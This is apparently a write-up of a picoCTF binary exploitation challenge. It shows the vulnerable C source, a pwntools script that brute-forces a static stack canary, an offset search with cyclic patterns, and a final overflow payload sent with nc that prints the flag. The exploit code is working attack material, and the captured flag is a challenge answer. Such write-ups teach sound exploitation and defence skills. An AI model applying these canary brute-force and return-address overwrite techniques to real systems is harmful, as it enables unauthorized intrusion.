Cracking Static Stack Canaries

Still wannabe hacker

Challenge source code and binary is available here. Below is the source code for reference.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4

void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
fflush(stdout);
exit(0);
}

fgets(buf,FLAGSIZE,f); // size bound read
puts(buf);
fflush(stdout);
}

char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'canary.txt' in this directory with your",
"own debugging canary.\n");
fflush(stdout);
exit(0);
}

fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}

void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);

printf("Input> ");
read(0,buf,count);

if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
fflush(stdout);
exit(0);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);

// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}

Understanding the source code completely is the first step to solving a pwn challenge. Key things to note here is that user can input the number of bytes they want to write.

In vuln() function, buf variable is assigned buffer of 64 bytes but there is no check in place to check the user input because read() does not perform bounds checking, which is why fgets() is preferred to read user input.

πŸ’‘ Array bound checking refers to determining whether all array references in a program are within their declared ranges

User can input more than 64 bytes and potentially perform a buffer overflow… until they hit a wall β€” the stack canary was in place.

What are Stack Canaries?

Stack Canaries are a secret random or static value placed between the local variables and the saved return address to protect against buffer overflow attacks. They are placed just before the return address and if the value is overwritten (attacker trying to overwrite return address), program immediately crashes but if they values are same, program assumes that no stack smashing was attempted.

There are different types of canaries that can be implemented πŸ‘‡

Type Example Protection
Null canary 0x00000000 0x00
Terminator canary 0x00000aff 0x00, 0x0a, 0xff
Random canary <any 4-byte value> Usually starts with 0x00
Random XOR canary Usually starts with 0x00
64-bit canary <8 bytes>
Custom canary

More information on stack canaries can be found on SANS article.

Brute-forcing Canary

Knowing the basics of stack canaries, we can proceed to brute-force the static canary value. Since our program reads the canary from canary.txt, this means it is not a dynamic value that changes with every run but static and remains same for every run.

After few minutes of source code analysis, testing and playing with the binary, we note the following:

  • read() does not append NULL terminator at the end of string
  • Input after 64 characters overwrites canary value

If we tell binary to write 65 bytes, we can overwrite 1 byte of canary value (64 bytes buffer + 1 byte that we can overwrite) and rest of canary value stays intact because we do not overwrite it as we’re only consuming 1 extra byte after allocated buffer of 64 bytes.

Modified compiled binary for better visualization

In this way, we can find the canary value.

65th β†’ First value of canary

66th β†’ Second value of canary

67th β†’ Third value of canary

68th β†’ Fourth value of canary

Running the below pwntools script gives us the canary value to be BiRd.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

# Set up connection details
host = "saturn.picoctf.net"
port = 54371
canary = b""

while len(canary) < 4:
for i in range(256):
conn = remote(host, port)
payload = b"A" * 64 + canary + bytes([i])

print(payload)
conn.sendline(str(len(payload)))
conn.recvuntil(b"Input> ") # Wait for the "Input>" prompt
conn.sendline(payload) # Send the payload with the current hex value

response = conn.recvall() # Receive all remaining data
print(response.decode()) # Print the response
conn.close()

if b'Ok' in response:
print(f"Valid byte: {i}")
canary += bytes([i])

Now, we can easily overwrite the return address by finding the offset (cyclic pattern) and overwriting EIP (Revise here).

Overwriting Return Address (EIP)

We have to find the offset for overwriting the return address. Generate the cyclic pattern of 100 characters using cyclic 100 and place it after canary value.

1
2
$ python2 -c 'print("A"*64 + "BiRd" + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRdaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Run the program in GDB, enter input bytes as 100 (as we have to find the offset now) and enter the above generated payload.

Programs crashes because EIP was overwritten, note the value inside EIP and execute cyclic -l eaaa in GDB to find the offset value which comes out to be 16.

It’s straightforward now and I won’t go into much explaining because similar approach is explained here: (https://stillhacks.xyz/cryptocat-pwn-challenges/#4️⃣-Ret2Win-Challenge).

This is the final payload to solve the challenge.

1
2
3
4
5
$ python2 -c 'print("A" * 64 + "BiRd" + "A" * 16 + "\x36\x93\x04\x08")' > payload
$ (echo 100; cat payload) | nc saturn.picoctf.net 50191
How Many Bytes will You Write Into the Buffer?
> Input> Ok... Now Where's the Flag?
picoCTF{Stat1C_c4n4r13s_4R3_b4D_14b7d39c}

Should you have any questions, type them below. 😊

Comments